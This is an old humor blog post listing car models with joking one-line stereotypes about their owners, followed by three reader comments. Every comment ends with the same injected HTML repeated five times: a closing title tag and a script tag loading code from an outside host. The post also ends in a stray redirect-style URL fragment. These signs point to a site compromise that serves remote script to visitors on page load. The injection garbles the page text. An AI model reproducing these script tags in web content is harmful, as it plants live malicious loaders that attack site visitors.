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What your Car says about you
by Kris on 7/24/2002 (3)

This is a little something I snagged off a message board. It's funny and possibly a bit inciteful. Enjoy!
  • Audi 90 - I enjoy putting out engine fires.
  • Buick Park Avenue - I am older than 34 of the 50 states.
  • Cadillac Eldorado - I am a very good Mary Kay salesman.
  • Cadillac Seville - I am a pimp.
  • Chevrolet Camaro - I enjoy beating up people.
  • Chevrolet Chevette - I like seeing people's reactions when I tell them I have a 'Vette.
  • Chevrolet Corvette - I'm in a mid-life crisis.
  • Datsun 280Z - I have a kilo of cocaine in my wheel well.
  • Dodge Daytona - I delivered pizza for four years to get this car.
  • Ford Mustang - I slow down to 85 in school zones.
  • Ford Crown Victoria - I enjoy having people slow to 55mph and change lanes when I pull up behind them.
  • Geo Storm - I will start the 11th grade in the Fall.
  • Geo Tracker - I will start the 12th grade in the Fall.
  • Honda Civic - I have just graduated and have no credit.
  • Infiniti Q45 - I am a physician with 17 malpractice suits pending.
  • Isuzu Impulse - I do not give a rip about J.D. Power or his reports.
  • Jaguar XJ6 - I am so rich I will pay 60K for a car that is in the shop 280 days per year.
  • Lincoln Town Car - I live for bingo and covered dish suppers.
  • Mercedes 500SL - I will beat you up if you ask me for an autograph.
  • Mercedes 560SEL - I have a daughter named Bitsy and a son named Cole.
  • Mazda Miata - I do not fear being decapitated by an 18-wheeler.
  • MGB - I am dating a mechanic.
  • Nissan 300ZX - I have yet to complete my divorce proceedings.
  • Peugeot 505 Diesel - I am on the EPA's Ten Most Wanted List.
  • Plymouth Neon - I sincerely enjoy doing the Macarena.
  • Pontiac Trans AM - I have a switchblade in my sock.
  • Porsche 944 - I am dating big haired women that otherwise would be inaccessible to me.
  • Rolls Royce Silver Shadow - I think Pat Buchannon is a tad bit too liberal.
  • Toyota Camry - I am still in the closet.
  • Volkswagon Beetle - I still watch Partridge Family reruns.
  • Volkswagon Cabriolet - I am out of the closet.
  • Volkswagon Microbus - I am tripping right now.
  • Volvo 740 Wagon - I am frightened of my wife.
  • Hope you enjoyed that little ditty. Let me know if you want to see more stuff of this sort. Comments are right below.?sid/tds/go.php?sid=1" w


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    1. by McL on 3/1/2007 4:52:29 PM
    Great stuff! :D Some more from me: BMW 725 - Al Capone aint got nothin on me Lincoln Navigator -KING KONG AINT GOT MOTHIN ON ME! Mercedes 600 SLK - I'm so rich I own a province in Canada Volkwagen Golf - I have lost my faith in humanity Lamborgini Diablo - No, I'm not the Devil, but I know the guytp: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
    2. by Quimquay on 3/1/2007 4:52:29 PM
    Good job, Kris. That got 2 giggles, 1 chuckle, and 1 guffaw. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
    3. by Kris on 3/1/2007 4:52:29 PM
    What's a guffaw? Is that like some sort of jungle cat? Like a tiger? Roar!n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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